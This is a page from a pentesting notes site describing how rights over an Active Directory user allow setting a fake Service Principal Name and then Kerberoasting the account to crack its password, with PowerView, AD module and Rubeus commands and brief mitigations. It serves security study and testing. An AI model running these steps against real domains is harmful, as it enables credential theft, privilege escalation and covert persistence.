☠️
Pentesting Articles and Notes
  • Welcome!
  • Windows
    • Active Directory
      • Kerberos Authentication
      • Enumeration
        • Basic Enumeration
        • Access Control Lists
        • Domain Trusts and Forests Enumeration
        • User Hunting
        • Domain Enumeration With BloodHound
      • Credential Dumping
        • DCSync Attack
      • Privilege Escalation
        • AS-REP Roasting
        • Kerberoasting
        • DNS Administrators
        • Setting Object SPN's
        • Unconstrained Delegation
        • Constrained Delegation
      • Persistence
        • Abusing ACLs
        • AdminSDHolder
        • Custom Security Service Providers (SSP's)
        • Directory Services Restore Mode (DSRM)
        • Modifying Remote Protocol Security Descriptors
        • Golden Tickets
        • Silver Tickets
        • Skeleton Keys
      • Powershell Remoting
      • Lateral Movement
        • Child to Parent Movement Across Trusts
        • Trust Abuse Between Forests
        • MSSQL Server Trust Abuse
        • Overpass the Hash
  • Coding
    • Pentesting With Python
      • Basic Threading
  • Network Attacks
    • Man-In-The-Middle Attacks
      • ARP Spoofing
      • DNS Spoofing Attacks
Powered by GitBook
On this page
  • Steps to Take
  • Step 1 - Find Users Who You Have These Privileges Over
  • Step 2 - Find Out if the User Already Has a SPN
  • Step 3 - Set a SPN for the User
  • Step 4 - Check If the User Has a New SPN By Repeating Step 2
  • Step 5 - Kerberoast the Account
  • Mitigations
  • References
  1. Windows
  2. Active Directory
  3. Privilege Escalation

Setting Object SPN's

Service Principal Names are unique identifiers used by Kerberos to associate a service instance with a service account. This allows clients to authenticate to services without having to know the information of the service account.

The SPN of the service must be registered on the account object running the service.

With either GenericAll or GenericWrite privileges on a user we can set a SPN for that user (Domain Admins included) which will then allow us to kerberoast and obtain the password for use later. It takes advantage of the fact that any account with a SPN can be kerberoasted.

There are two avenues to take depending on why you would like to set a SPN[1]:

  1. Add a real SPN to a Domain Admin for persistence.

  2. Create a fake SPN for an account you would like to obtain a password for.

This technique can also be a stealthy way to obtain persistence as long as you are not adding an SPN to an account that already has an SPN.

Steps to Take

Step 1 - Find Users Who You Have These Privileges Over

# PowerView_dev
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match '<group>'}

Step 2 - Find Out if the User Already Has a SPN

#PowerView_dev
Get-DomainUser -Identity <user> -Properties ServicePrincipalName

# AD Module
Get-ADUser -Identity <user> -Properties ServicePrincipalName

Step 3 - Set a SPN for the User

  • Make sure it is unqiue for the domain.

# PowerView_dev
Set-DomainObject -Identity <user> -Set @{serviceprincipalname='<anything>/<anything>'}

# AD Module
Set-ADUser -Identity <user> -ServicePrincipalNames @{Add='<anything>/<anything>'}

Step 4 - Check If the User Has a New SPN By Repeating Step 2

Step 5 - Kerberoast the Account

.\rubeus.exe kerberoast

Mitigations

  • For any account with SPNs already set, give them long and complex passwords and change them at least once a year.

  • Check for old service accounts and remove the SPNs if necessary.

  • Be cautious setting SPNs and give SPN only to those accounts that require them.

References

[1]: https://adsecurity.org/?p=3466

PreviousDNS AdministratorsNextUnconstrained Delegation

Last updated 3 years ago